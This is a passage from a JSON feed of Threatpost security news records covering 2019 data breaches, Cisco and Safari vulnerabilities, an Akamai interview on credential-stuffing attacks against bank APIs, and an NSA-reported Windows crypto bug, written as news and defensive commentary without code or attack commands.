Telegram](<https://threatpost.com/magecart-credit-card-skimmer-telegram-c2-channel/158851/>) as a data-exfiltration mechanism.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n\n** **\n", "cvss3": {}, "published": "2020-09-14T16:01:15", "type": "threatpost", "title": "Magecart Attack Impacts More Than 10K Online Shoppers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-09-14T16:01:15", "id": "THREATPOST:D1DDBC944E33F3C1BB8815964C2B9E2B", "href": "https://threatpost.com/magecart-campaign-10k-online-shoppers/159216/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:27:02", "description": " * [![Data Breach](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/22134902/Data-Breach.jpg)](<https://threatpost.com/category/privacy/> \"Data Breach\" )\n\n**Top 10 Breaches and Leaky Server Screw Ups of 2019**\n\nFrom massive credential spills on the Dark Web and hacked data to card-skimming and rich profiles exposed by way of cloud misconfigurations, 2019 was a notable year for data breaches. Big names like Capital One, Macy\u2019s and Sprint were impacted, as was the entire country of Ecuador and supply-chain companies like the American Medical Collection Agency. Here are our Top 10 data leak moments of the year.\n\n * [![Password draft](https://threatpost.com/wp-content/plugins/soliloquy/assets/css/images/holder.gif)](<https://threatpost.com/773m-credentials-dark-web/140972/> \"Password draft\" )\n\n**Collections 1-4 Spill Millions of Credentials on the Dark Web**\n\nThe year started out with a bang when a huge trove of data \u2013 containing 773 million unique email addresses and passwords \u2013 [was discovered](<https://threatpost.com/773m-credentials-dark-web/140972/>) on a popular underground hacking forum. The credential spill was dubbed \u201cCollection #1\u201d and totaled 87GB of data, with records culled from breaches that occurred as far back as 2010, including the well-known compromise of Yahoo. It was one of the largest jackpots ever seen when it comes to account-compromise efforts. [Collections 2-4 soon followed](<https://threatpost.com/fourth-credential-spill-dreammarket/142901/>), and ultimately more than 840 million account records from 38 companies appeared for sale on the Dark Web in February.\n\n * [![amca draft2](https://threatpost.com/wp-content/plugins/soliloquy/assets/css/images/holder.gif)](<https://threatpost.com/amca-healthcare-hack-widens-opko/145453/> \"amca draft2\" )\n\n**AMCA Supply-Chain Breach Impacts 20.1 Million**\n\nA hack of the American Medical Collection Agency (AMCA), a third-party bill collection vendor, impacted 20.1 million patients [over the summer](<https://threatpost.com/amca-healthcare-hack-widens-opko/145453/>), exposing personally identifiable information such as names, addresses and dates of birth, and also payment data. Three clinical laboratories offering blood tests and the like that relied on AMCA to process a portion of their consumer billing were hit: 12 million patients from Quest Diagnostics, another 7.7 million patients from LabCorp and 400,000 victims from OPKO Health.\n\n * [![capital-one](https://threatpost.com/wp-content/plugins/soliloquy/assets/css/images/holder.gif)](<https://threatpost.com/aws-arrest-data-breach-capital-one/146758/> \"capital-one\" )\n\n**Capital One: Another Year, Another Major FinServ Breach**\n\nIn July, a massive breach of Capital One customer data hit more than 100 million people in the U.S. and 6 million in Canada. Thanks to a cloud misconfiguration, a hacker [was able to access](<https://threatpost.com/aws-arrest-data-breach-capital-one/146758/>) credit applications, Social Security numbers and bank account numbers in one of the biggest data breaches to ever hit a financial services company \u2014 putting it in the same league in terms of size as the Equifax incident of 2017. The FBI arrested a suspect in the case: A former engineer at Amazon Web Services (AWS), Paige Thompson, after she boasted about the data theft on GitHub. Researchers said that Capital One victims are going to be phished for years to come \u2013 long after their 12 months\u2019 of credit monitoring is done.\n\n * [![Facebook draft](https://threatpost.com/wp-content/plugins/soliloquy/assets/css/images/holder.gif)](<https://threatpost.com/267m-facebook-phone-numbers-exposed-online/151327/> \"Facebook draft\" )\n\n**Facebook \u2018s Year of Breach Problems**\n\nFacebook had a bad year for breaches, including the December emergence of a [hacked database](<https://threatpost.com/267m-facebook-phone-numbers-exposed-online/151327/>) containing the names, phone numbers and Facebook user IDs of 267 million platform users. The data may have been stolen from [Facebook\u2019s developer API](<https://threatpost.com/facebook-privacy-breach-developers-group-data/149930/>) before the company restricted API access to phone numbers and other data in 2018. And in September, an open server was [discovered leaking](<https://techcrunch.com/2019/09/04/facebook-phone-numbers-exposed/>) hundreds of millions of Facebook user phone numbers. In April, [researchers found two separate datasets](<https://threatpost.com/facebook-and-amazon-are-locked-in-a-blame-game-over-leaked-data-whos-really-to-blame/143467/>), held by two app developers (Cultura Colectiva and At the Pool). The actual data source for the records (like account names and personal data) in these databases was Facebook.\n\n * [![Ecuador](https://threatpost.com/wp-content/plugins/soliloquy/assets/css/images/holder.gif)](<https://threatpost.com/marketing-analytics-leaks-deep-profiles-ecuador/148363/> \"Ecuador\" )\n\n**Deep Profiles for the Entire Population of Ecuador Are Exposed**\n\nIn September it came to light that the entire population of Ecuador (as well as Julian Assange) [had been impacted](<https://threatpost.com/marketing-analytics-leaks-deep-profiles-ecuador/148363/>) by an open database with rich, detailed life information collected from public-sector sources by a marketing analytics company. The trove of data offered any attacker the ability to cross-reference and combine the data into a highly personal, richly detailed view of a person\u2019s life. The records, for 20 million individuals, were gleaned from Ecuadorian government registries, an automotive association called Aeade, and the Ecuadorian national bank. Ecuador has about 16.5 million citizens in total (some of the entries were for deceased persons).\n\n * [![data profile](https://threatpost.com/wp-content/plugins/soliloquy/assets/css/images/holder.gif)](<https://threatpost.com/data-enriched-profiles-1-2b-leak/150560/> \"data profile\" )\n\n**1.2B Rich Profiles Exposed By Data Brokers**\n\nIn a similar incident to the Ecuador debacle, an open Elasticsearch server emerged in December that exposed the rich profiles of more than 1.2 billion people. The database [consisted of scraped information](<https://threatpost.com/data-enriched-profiles-1-2b-leak/150560/>) from social media sources like Facebook and LinkedIn, combined with names, personal and work email addresses, phone numbers, Twitter and Github URLs and other data. Taken together, the profiles provide a 360-degree view of individuals, including their employment and education histories. All of the information was unprotected, with no login needed to access it. The data was linked to People Data Labs (PDL) and OxyData[.]io.\n\n * [![Imperva](https://threatpost.com/wp-content/plugins/soliloquy/assets/css/images/holder.gif)](<https://threatpost.com/imperva-data-breach-cloud-misconfiguration/149127/> \"Imperva\" )\n\n**Security Specialist Imperva Smarts from Cloud Misconfiguration**\n\nIn an ironic turn of events, cybersecurity company Imperva allowed hackers to steal and use an administrative Amazon Web Services (AWS) API key in one of Imperva\u2019s production AWS accounts, thanks to a cloud misconfiguration. Hackers used Imperva\u2019s Cloud Web Application Firewall (WAF) product to access a database snapshot containing emails, hashed and salted passwords, and some customers\u2019 API keys and TLS keys. Because the database [was accessed as a snapshot](<https://threatpost.com/imperva-data-breach-cloud-misconfiguration/149127/>), the hackers made off with only old Incapsula records that go up to Sept. 15, 2017. However, the theft of API keys and SSL would allow an attacker to break companies\u2019 encryption and access corporate applications directly.\n\n * [![Sprint draft](https://threatpost.com/wp-content/plugins/soliloquy/assets/css/images/holder.gif)](<https://threatpost.com/att-verizon-subscribers-exposed-mobile-bills/150867/> \"Sprint draft\" )\n\n**Sprint Contractor Lays Open Phone Bills for 260K Subscribers**\n\nA cloud misconfig was also behind hundreds of thousands of mobile phone bills for AT&T, Verizon and T-Mobile subscribers [being exposed](<https://kasperskycontenthub.com/threatpost-global/wawa-data-breach-malware-stole-customer-payment-card-info/151337/>) to the open internet in December, thanks to the oversight of a contractor working with Sprint. More than 261,300 documents were stored \u2013 mainly cell phone bills from Sprint customers who switched from other carriers. Cell phone bills are a treasure trove of data, and include names, addresses and phone numbers along with spending histories and in many cases, call and text message records.\n\n * [![Magecart](https://threatpost.com/wp-content/plugins/soliloquy/assets/css/images/holder.gif)](<https://threatpost.com/magecart-infestations-saturate-web/148911/> \"Magecart\" )\n\n**Magecart Siphons Off Millions of Payment Card Details**\n\nMagecart, the digital card-skimming collective encompassing several different affiliates all using the same modus operandi, is now so ubiquitous that its infrastructure is [flooding the internet](<https://threatpost.com/magecart-infestations-saturate-web/148911/>), researchers said earlier this year. Magecart attacks, which involve inserting virtual credit-card skimmers into e-commerce check-out pages, affected a range of companies throughout 2019; these included [bedding retailers](<https://threatpost.com/magecart-mypillow-emerisleep-attack/143022/>) MyPillow and Amerisleep, the subscription website for the [Forbes print magazine](<https://threatpost.com/magecart-card-skimmer-forbes/144811/>), at least [80 reputable brands](<https://threatpost.com/magecart-ecommerce-card-skimming-bonanza/147765/>) in the motorsports industry and luxury apparel segments, popular skin care brand First Aid Beauty, [Macy\u2019s](<https://threatpost.com/magecart-attack-skin-care-site/149580/>) and streaming video and podcast content company [Rooster Teeth](<https://threatpost.com/rooster-teeth-attack-magecart/151216/>).\n\n * [![equifax](https://threatpost.com/wp-content/plugins/soliloquy/assets/css/images/holder.gif)](<https://threatpost.com/equifax-to-pay-700-million-in-2017-data-breach-settlement/146579/> \"equifax\" )\n\n**Equifax Settlement Rankles Consumers**\n\nEquifax made notable news this year when it agreed to pay as much as $700 million to settle federal and state investigations on the heels of its infamous 2017 breach, which exposed the data of almost 150 million customers. That includes $300 million to cover free credit monitoring services for impacted consumers, $175 million to 48 states in the U.S, and $100 million in civil penalties. Some consumers are furious over what they view as an unfair settlement though, with 200,000 of them signing a petition against the deal. The petition argues that very little of that cash will trickle down to those who actually suffered because of the breach.\n\n![Data Breach](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/22134902/Data-Breach.jpg)![Password draft](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/22134741/Password-draft.jpg)![amca draft2](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/23120121/amca-draft2.jpg)![capital-one](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/22134001/capital-one.jpg)![Facebook draft](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/22134728/Facebook-draft.png)![Ecuador](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/22134719/Ecuador.jpg)![data profile](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/22134005/data-profile.jpg)![Imperva](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/22134732/Imperva.jpg)![Sprint draft](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/22134745/Sprint-draft.jpg)![Magecart](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/22134736/Magecart.jpg)![equifax](https://media.threatpost.com/wp-content/uploads/sites/103/2019/12/22134723/equifax.jpg)\n", "cvss3": {}, "published": "2019-12-26T14:00:09", "type": "threatpost", "title": "Top 10 Breaches and Leaky Server Screw Ups of 2019", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2019-12-26T14:00:09", "id": "THREATPOST:5411DD62D790E8DA914441FC7BFE1358", "href": "https://threatpost.com/top-10-breaches-leaky-server-2019/151386/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:26:27", "description": "Cisco Systems has fixed two high-severity vulnerabilities in its products, including one in its popular Webex video conferencing platform that could enable a remote attacker to execute commands.\n\nThe high-severity Webex flaw exists in the web-based management interface of Cisco Webex Video Mesh, a feature that enables on-premises infrastructure for video conferencing, to enhance audio, video and content.\n\n\u201cA successful exploit could allow the attacker to execute arbitrary commands on the underlying Linux operating system with root privileges on a targeted node,\u201d according to Cisco\u2019s [security advisory, released this week](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200108-webex-video>).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nWhile attackers can exploit the flaws remotely, they would need to be authenticated, according to the advisory; meaning they would first need to log into the web-based management interface with administrative privileges and then supply crafted requests to the application. The web-based management Webex interface does not properly validate these crafted requests, enabling attackers to execute arbitrary commands.\n\nThe vulnerability affects Cisco Webex Video Mesh Software releases earlier than 2019.09.19.1956m (the fixed version). The flaw, found during internal security testing, has a CVSS score of 7.2 out of 10, making it high-severity. Cisco said that it is not aware of any exploits against the flaw in the wild.\n\nThe networking giant on Wednesday also released fixes for another high-severity glitch in the web user interface of Cisco IOS and Cisco IOS XE Software. IOS XE, a Linux-based version of Cisco\u2019s Internetworking Operating System (IOS), is software that powers Cisco routers and switches. Products supported by IOS XE include enterprise switches (including Cisco\u2019s Catalyst series), branch routers and edge routers including ASR 1013.\n\nThe vulnerability could enable an unauthenticated, remote attacker to launch a cross-site request forgery (CSRF) attack on affected systems. CSRF attacks, typically launched via emails that use social engineering, trick victims into clicking specially-crafted links that then send a forged request to a server.\n\nThe vulnerability stems from \u201cinsufficient CSRF protections for the web UI on an affected device,\u201d according to Cisco. An attacker could first exploit the flaw by persuading a user to follow a malicious link.\n\nThen, \u201ca successful exploit could allow the attacker to perform arbitrary actions with the privilege level of the targeted user,\u201d according to [Cisco\u2019s advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200108-ios-csrf>). \u201cIf the user has administrative privileges, the attacker could alter the configuration, execute commands or reload an affected device.\u201d\n\nThe flaw, discovered by Mehmet \u00d6nder Key, affects Cisco devices that are running vulnerable releases of Cisco IOS or Cisco IOS XE Software earlier than 16.1.1 with the HTTP Server feature enabled. Cisco said that it is not aware of any exploits in the wild against the flaw, which ranks 8.8 out of 10 on the CVSS scale.\n\n[Cisco overall on Wednesday](<https://tools.cisco.com/security/center/publicationListing.x>) issued 14 patches for flaws across its products, including 12 medium-severity flaws and two high-severity flaws. Last week, the company [issued patches for three critical vulnerabilities](<https://threatpost.com/cisco-patches-3-critical-bugs-nx-os/151529/>) impacting a key tool for managing its network platform and switches. Those bugs could allow an unauthenticated, remote attacker to bypass endpoint authentication and execute arbitrary actions with administrative privileges on targeted devices, the company said.\n\n_**Concerned about mobile security? **_[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) _**Top 8 Best Practices for Mobile App Security**__**, on Jan. 22 at 2 p.m. ET. **_**_Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts to discuss the secrets of building a secure mobile strategy, one app at a time._** [_**Click here to register**_](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)_**.**_\n", "cvss3": {}, "published": "2020-01-10T17:24:29", "type": "threatpost", "title": "Cisco Webex Bug Allows Remote Code Execution", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-01-10T17:24:29", "id": "THREATPOST:0675FD2F1907119072EAFF965E2B7E2C", "href": "https://threatpost.com/cisco-webex-bug-allows-remote-code-execution/151724/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:14:51", "description": "A security researcher disclosed details of an Apple Safari web browser security hole that could leak files with other browsers and applications and open the door to exploitation by attackers. The disclosure came only after Apple said it would delay patching the vulnerability for nearly a year. For context, researcher rated the bug as \u201cnot very serious\u201d.\n\nPolish security researcher [Pawel Wylecial](<https://www.blogger.com/profile/10114474176396848494>), co-founder of [REDTEAM.PL](<https://blog.redteam.pl/>) unveiled the flaw. He attributed the bug to Safari\u2019s implementation of the [Web Share API](<https://w3c.github.io/web-share/>), according to a [blog post](<https://blog.redteam.pl/2020/08/stealing-local-files-using-safari-web.html>) outlining his finding on Monday. The API, which is relatively new, allows users to share links from the browser via third-party applications, such as those distributed via mail and messaging apps.\n\nThe problem lies in that the implementation\u2019s _file: __ scheme_ on both the mobile and desktop versions of Safari which allows access to files stored on the user\u2019s local hard drive. This can lead to someone unknowingly sharing personal files or data with a malicious site when assuming they are only sharing an article or link with their friends, Wylecial wrote.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe problem is that _file: scheme_ is allowed, and when a website points to such URL unexpected behavior occurs,\u201d Wylecial explained in his post. \u201cIn case such a link is passed to the navigator.share function an actual file from the user file system is included in the shared message, which leads to local file disclosure when a user is sharing it unknowingly.\u201d\n\nWylecial acknowledged that the \u201cproblem is not very serious\u201d because it requires a user to take action rather than allowing an attacker to remotely control someone\u2019s system without their knowledge.\n\nHowever, he said it\u2019s not difficult to make the shared file invisible to the user, comparing the capability the flaw gives an attacker to clickjacking in the way it aims \u201cto convince the unsuspecting user to perform some action,\u201d he said.\n\nThat the bug is not super-serious may not be the point, however. Wylecial\u2019s disclosure once again highlight\u2019s Apple\u2019s [lackluster approach](<https://threatpost.com/google-bug-hunter-urges-apple-to-change-its-ios-security-culture/134842/>) to patching vulnerabilities discovered by third-party researchers as well as a [historically chilly relationship](<https://threatpost.com/apple-upgrades-bug-bounty-program-adds-macs-1m-reward/147146/>) with them.\n\nWylecial reported the bug to Apple on April 17 of this year, with the company acknowledging four days later that they received his report. After much back and forth, earlier this month Apple said it would address the issue in the Spring 2021 update to Safari, which would be nearly a year after the issue was reported.\n\nThis prompted Wylecial to reveal his research, he said. The researcher said he told Apple \u201cthat waiting with the disclosure for almost an additional year, while four months already have passed since reporting the issue, is not reasonable.\u201d He then went public with his research.\n\nIndeed, the disclosure shows the ongoing tension between Apple and security researchers, which many thought was on its way to being solved when the company finally [opened its bug bounty program to the public](<https://threatpost.com/apples-bug-bounty-opens-1m-payout/151334/>) in December 2019, a move announced four months before [at Black Hat in August](<https://threatpost.com/apple-upgrades-bug-bounty-program-adds-macs-1m-reward/147146/>).\n\nThe revamped public program boosted payouts and expanded the platform playing field for researchers over the previous program, which was invite-only with rewards only as high as $200,000 on limited platforms. Now researchers can receive up to $1 million for the most critical of zero-day flaws on its latest hardware, and between $25,000 to $500,000 for discovering vulnerabilities in range of other products, including Macs, iPhone and iPad, and Apple TV.\n\nEven after the changes, however, some notable researchers, including Google\u2019s Project Zero Ian Beer\u2014known for discovering a number of [zero-day iOS flaws](<https://threatpost.com/iphone-zero-days-watering-hole-attacks/147891/>)\u2013balked at participating in the Apple bug bounty program.\n\n**[On Wed Sept. 16 @ 2 PM ET:](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. [Resister today](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>) for this **FREE **Threatpost webinar \u201c**[Five Essentials for Running a Successful Bug Bounty Program](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)**\u201c.** **Hear from top **Bug Bounty Program experts** how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. **Join us Wednesday Sept. 16, 2-3 PM ET for this [LIVE](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>) webinar.**\n", "cvss3": {}, "published": "2020-08-25T15:28:20", "type": "threatpost", "title": "Safari Bug Revealed After Apple Takes Nearly a Year to Patch", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-08-25T15:28:20", "id": "THREATPOST:00F7DE33B40C4ED287762FBA680EB607", "href": "https://threatpost.com/safari-bug-revealed-after-apple-takes-nearly-a-year-to-patch/158612/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:35:47", "description": "Cybercriminals continue to firehose financial services companies with new and innovative cyberattacks. Research from Akamai recently found that up to 75 percent of all credential abuse attacks against the financial services industry in 2019 targeted APIs directly (rather than user-facing login pages). One such credential stuffing attack, observed last summer, hit one of Akamai\u2019s financial services customers with a blizzard of 55 million malicious login attempts.\n\n\u201cWe talk about API attacks and the reason why criminals are using targeted methods against API because the traditional \u2018throw it and hope it sticks\u2019 against financial services just isn\u2019t cutting it anymore, they have to be more creative,\u201d Steve Ragan, security researcher with Akamai, told Threatpost. \u201cAnd of course this creates this \u2018run and gun\u2019 type of situation to where the financial services industry has to keep adding more layers and getting more creative with how they\u2019re doing defense because the criminals are obviously coming at them full steam ahead.\u201d\n\nThreatpost talks to Ragan about the hardest hitting attack threats against the financial services industry, including credential stuffing attacks, DDoS attacks and more.\n\n_A lightly edited transcript is below._\n\n**Lindsey O\u2019Donnell-Welch**: Hi, everyone, this is Lindsey O\u2019Donnell-Welch with Threatpost and I\u2019m here at RSA Conference in San Francisco, joined by Steve Ragan with Akamai. Steve, thanks so much for joining us.\n\n**Steve Ragan:** Thanks for having me.\n\n**LO: **How\u2019s your conference going, so far?\n\n**SR:** So far, it\u2019s going good. had a lot of productive meetings this week. It\u2019s been a very long week. And it\u2019s only Wednesday.\n\n**LO:** Right yeah. Yeah, so I wanted to talk a little bit about, Akamai recently published a research paper last Wednesday. And it was discussing some really interesting takeaways about the state of internet security and how that impacts financial services. And there were some really good points in the research about kind of DDoS attacks and how that impacts financial services as well as credential stuffing and APIs. So just to start, can you talk about some of the biggest takeaways that you had in terms of what the research was about.\n\n**SR: **So the big one of the biggest takeaways I got from the report when I was researching it, is the fact that, the last time we wrote about financial services, I had mentioned that the criminals were steadily targeting them, and they weren\u2019t slowing down anytime soon. As this report was being put together, not only did that get proven true, it actually got bigger. So shortly after we put out the last financial services report, we actually saw a record setting attack for us, one of the largest against FinServ that we\u2019d seen since we started tracking this, upwards of like 55 million credential stuffing attempts. And then as we started sorting and sifting through the data, we noticed that, like you had mentioned, DDoS, when it comes to unique DDoS targets, 40 percent of those were in the financial services sector, which is significant. We saw a bump in targeted API attacks for credential stuffing against the FinServ sector and then also local file inclusion jumped up ahead of SQL injection when it comes to the type of web attacks we\u2019re seeing against financial services. So there are a couple of things that stood out in this report. But the the big key takeaway is that criminals are still actively engaged and targeting financial services.\n\n**LO:** Right. And I want to kind of delve into those separate types of attacks and attack vectors in a second. But maybe we should take a step back and look at financial services as a whole and kind of what the main security issues are with the industry. Can you kind of give an outline of financial services and where they are and where the industry is at this point about these attacks.\n\n**SR:** So it\u2019s, it\u2019s really interesting Financial Services is usually the industry that\u2019s always at the top of their game when it comes to security, which forces the criminals to get creative in their attacks, they have to be hyper focused. So part of this report, we talk about API attacks and the reason why criminals are using targeted methods against API because the traditional \u201cthrow it and hope it sticks\u201d against financial services just isn\u2019t cutting it anymore, they have to be more creative. And of course this creates like this this run and gun type of situation to where the financial services industry has to keep adding more layers and getting more creative with how they\u2019re doing defense because the criminals are obviously coming at them full steam ahead. You see a lot of the same problems in financial services as you do with any other market segment. So the old standbys are still there. Web attacks are always going to have SQL injection, you\u2019re going to see that, you\u2019re going to see DDoS as a distraction and as a way to cut vital services off from customers. You\u2019re going to see this no matter what industry you\u2019re looking at. But when it comes to financial services, what we\u2019ve noticed is, criminals tend to take a hybrid approach in their attacks. So you\u2019ll see attacks that leverage SQL injection attempts versus a little bit of DDoS mixed in there. And then when you see DDoS, the way they launch these attacks, it\u2019s a myriad of attempts. So you\u2019ll see SYN flooding, you\u2019ll see RTSP you\u2019ll see all of that mixed in, so it goes across the board.\n\n**LO:** Well, that\u2019s what kind of stuck out to me about kind of the DDoS attacks that you guys were observing was just the variation in different methods that were being used. And so, what do you see, what\u2019s kind of the overall trends that you\u2019re seeing with DDoS attacks in targeting the financial industry?\n\n**SR:** We\u2019re seeing sustained attacks. So what I mean by this is, they get bigger and they last longer. So we\u2019re seeing you know, FinServ companies and I say FinServ, but I mean financial services, right I get that jargon stuck in my head, it doesn\u2019t go anywhere. But we\u2019re seeing these attacks stay longer, and they keep variations going so they don\u2019t stick to just one type of DDoS attack anymore. They\u2019re layering them throughout. And they just keep going, until eventually they just fall off. We\u2019ve noticed that if you look in the report, we look at the peaks of traffic. And sometimes when we see these, these records setting, and I say record setting, meaning just like it stands out in the report, but when you see these attacks, it\u2019s FinServ that\u2019s getting hit, it\u2019s getting hit the hardest in some ways.\n\n**LO:** Yeah. And I mean, to your point about DDoS attacks that are targeting FinServ of getting getting bigger and bigger. I think that\u2019s a trend we\u2019re seeing overall, too, with DDoS attacks, growing and getting more widespread.\n\n**SR:** You don\u2019t hear about DDoS a lot. And that\u2019s one of the things we\u2019re trying to correct because we want to we want people to realize DDoS attacks are very real, they happen and they\u2019re not going away anytime soon. So it\u2019s it\u2019s a thing that we want to keep that awareness out there, which is why we included it in this report because it needs to be talked about, because a lot of times you\u2019ll see DDoS used as a precursor or a backer to other types of attacks. So, you know, trying to focus on just one one vector or one aspect of your attack surface does you no good.\n\n**LO: **Right. And I also wanted to ask about credential stuffing, that was another big part of the report and you know, that figure you mentioned earlier about, was it 55 million \u2013\n\n**SR: **55 million was the the attack shortly after we put out the last report. And it was all credential stuffing. And it was against a financial services company. So this, this particular attack, this was a 24 hour period, and it just stands out because this proves that, when it comes comes to how criminals are leveraging credential stuffing, they\u2019re laser focused. And so they really really really want to get as much as they can out of these combination lists that they\u2019re using, because they only have a short shelf life. So they wanted, they hit as much as they can for as long as they can. And then they swap out the list and keep going. And we\u2019ve seen that a lot over the last couple of years to where these lists. They use them everywhere.\n\n**LO:** Yeah, I mean, well, when you look at also kind of the financial services industry, I think that you had mentioned that they\u2019re still using usernames and passwords. And I think that there needs to be a rethink of authentication.\n\n**SR:** Oh, yeah, I agree. I really like that, you know, the financial services industry is getting more and more in tune with multi-factor authentication, and they\u2019re not just relying on usernames and passwords anymore, they\u2019re adding more to it, which is good for the public. It\u2019s good for them. I mean, it works all around, but unfortunately, not everybody does that. And that\u2019s why you see credential stuffing taking off because the criminals know that in some cases, all they needs a user name and password, right. And so they go from there. It\u2019s not just financial services where we\u2019re seeing this. We\u2019re seeing this in other sectors as well, travel and hospitality, tt\u2019s a thing we\u2019re looking at. Gaming is another industry that\u2019s seeing a lot of credential abuse. So right, it\u2019s moving around.\n\n**LO:** Yeah, that seems like a big problem, just across the industry as a whole. But when you look ahead to 2020, between, you know, all the different types of threats that you were seeing in your report, do you think one is going to kind of stand out whether it\u2019s kind of APIs being targeted?\n\n**SR:** We\u2019re going to see more targeted API\u2019s, you\u2019re going to see that go up, I think and I think we\u2019re also going to see more focus on credential stuffing as the year goes on. I think credential abuse is because of its point and click nature and it\u2019s low barrier of entry for criminals, everybody\u2019s jumping on it. Right now when do my research to look at what groups are doing and how they\u2019re doing it, credential stuffing is the top that they\u2019re going for. Because there are automated tools that literally, you load up your list you point at a domain, and you go. And it\u2019s it\u2019s very noisy. So they these types of attacks stand out on a network, which is why we\u2019re able to track them like we do. But unfortunately, they\u2019re effective, which is why you see them so much.\n\n**LO:** Right, unfortunately.\n\n**SR:** Unfortunately, they are effective.\n\n**LO:** Yeah. I also wanted to ask, before we wrap up, when you are looking at the financial services industry, what advice would you have in terms of best steps for protection or mitigation against these types of attacks?\n\n**SR: **So the biggest complaint I see criminals talk about is multi factor authentication. So not only enabling that but enforcing it, would be one of the things I would encourage financial services or any industry really, you know, start using multi factor authentication, enforce it. Don\u2019t make it to where, oh, it\u2019s there if you want to use it, teach your your user base, how to use this teach them, why it\u2019s important. So education, and more options, I think, would be a good run of the mill. When it comes to API attacks, I would suggest keeping an eye on threading and keeping an eye on rate limiting. Don\u2019t let somebody make a half a million attempts against your API, track that stuff.\n\n**LO:** Yeah.\n\n**SR:** And unfortunately, visibility in the API space is not as large as it is in some of the other attack surfaces that companies experience. So that needs to be, you need more visibility.\n\n**LO:** Well, good things to think about when we\u2019re moving forward. So Steve, thank you so much for speaking with us and have a great rest of your show.\n\n**SR:** Thanks.\n", "cvss3": {}, "published": "2020-03-12T13:57:20", "type": "threatpost", "title": "Akamai Talks Massive Uptick in Credential-Stuffing Attacks Against Bank APIs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-03-12T13:57:20", "id": "THREATPOST:0C6C445BFBCD8AD47CA5B91A506DB09E", "href": "https://threatpost.com/akamai-on-credential-stuffing-attacks/153654/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:26:08", "description": "A major Microsoft crypto-spoofing bug impacting Windows 10 [made waves this Patch Tuesday](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>), particularly as the flaw was found and reported by the U.S. National Security Agency (NSA).\n\nMicrosoft\u2019s January Patch Tuesday security bulletin disclosed the \u201cimportant\u201d-severity vulnerability, which could allow an attacker to spoof a code-signing certificate, vital to validating executable programs in Windows, and make it appear as if an application was from a trusted source.\n\nThreatpost talked to Pratik Savla, senior security engineer at Venafi, about the vulnerability, whether the hype around the flaw was warranted, and what the disclosure means for the NSA.\n\n[**For direct download click here.**](<http://traffic.libsyn.com/digitalunderground/Patch_Tuesday.mp3>)\n\n[\n\n](<http://iframe%20style=border:%20none%20src=//html5-player.libsyn.com/embed/episode/id/12754238/height/360/theme/legacy/thumbnail/yes/direction/backward/%20height=360%20width=100%%20scrolling=no%20%20allowfullscreen%20webkitallowfullscreen%20mozallowfullscreen%20oallowfullscreen%20msallowfullscreen/iframe>)\n\n_**Also, check out our [podcast microsite](<https://threatpost.com/microsite/threatpost-podcasts-going-beyond-the-headlines/>), where we go beyond the headlines on the latest news.**_\n", "cvss3": {}, "published": "2020-01-15T20:47:18", "type": "threatpost", "title": "Podcast: NSA Reports Major Crypto-Spoofing Bug to Microsoft", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", 